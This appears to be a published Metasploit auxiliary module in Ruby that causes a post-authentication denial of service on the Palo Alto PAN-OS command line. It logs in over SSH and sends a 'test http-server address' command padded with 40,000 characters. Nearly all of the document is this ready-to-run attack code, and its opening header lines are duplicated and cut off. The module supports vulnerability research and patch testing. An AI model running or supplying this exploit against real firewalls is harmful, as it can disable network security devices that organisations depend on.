Palo Alto PAN-OS CLI Crash

##
# This module requires Metasploit Framework and compatible Ruby.
##

require 'msf/core'
require ##
# This module requires Metasploit Framework and compatible Ruby.
##

require 'msf/core'
require 'net/ssh'

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SSH
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(update_info(info,
'Name' => 'Palo Alto PAN-OS CLI Crash (Post-Auth)',
'Description' => %q{
This module triggers a denial-of-service condition in the CLI of
Palo Alto PAN-OS by sending an overly long input after authentication.
},
'Author' => [ 'Cody Sixteen' ],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://code610.blogspot.com/2025/05/palo-alto-postauth-cli-memory.html']
],
'DisclosureDate' => 'May 25 2025'
))

register_options(
[
Opt::RPORT(22),
OptString.new('USERNAME', [true, 'SSH username']),
OptString.new('PASSWORD', [true, 'SSH password'])
]
)
end

def run_host(ip)
rport = datastore['RPORT']

begin
print_status("[*] Connecting to #{ip}:#{rport} via SSH...")
Net::SSH.start(ip, datastore['USERNAME'], password: datastore['PASSWORD'], port: rport, non_interactive: true, timeout: 10) do |ssh|
print_good("[+] SSH connection established to #{ip}")

ssh.open_channel do |channel|
pty_opts = { term: 'xterm', chars_wide: 80, chars_high: 24, modes: {} }

channel.request_pty(pty_opts) do |pty, success|
if success
print_good("[+] PTY successfully allocated")

channel.send_channel_request("shell") do |ch, success_shell|
if success_shell
print_good("[+] Shell channel opened. Sending payload...")

crash_cmd = "test http-server address " + "A" * 40000 + "\n"
channel.send_data(crash_cmd)

channel.on_data do |_ch, data|
print_line("[remote] #{data}")
end

channel.on_extended_data do |_ch, type, data|
print_line("[remote][stderr] #{data}")
end

# send exit after 1 sec. (time for payload to load)
Rex.sleep(1)
channel.send_data("exit\n")
else
print_error("[-] Failed to open shell channel")
end
end
else
print_error("[-] PTY request failed")
end
end

channel.on_close do |_ch|
print_status("[*] SSH channel closed.")
end
end

ssh.loop
end
rescue Net::SSH::AuthenticationFailed
print_error("[-] Authentication failed for #{ip}")
rescue Net::SSH::Exception => e
print_error("[-] SSH connection error with #{ip}: #{e.message}")
rescue => e
print_error("[-] Unexpected error: #{e.message}")
end
end
end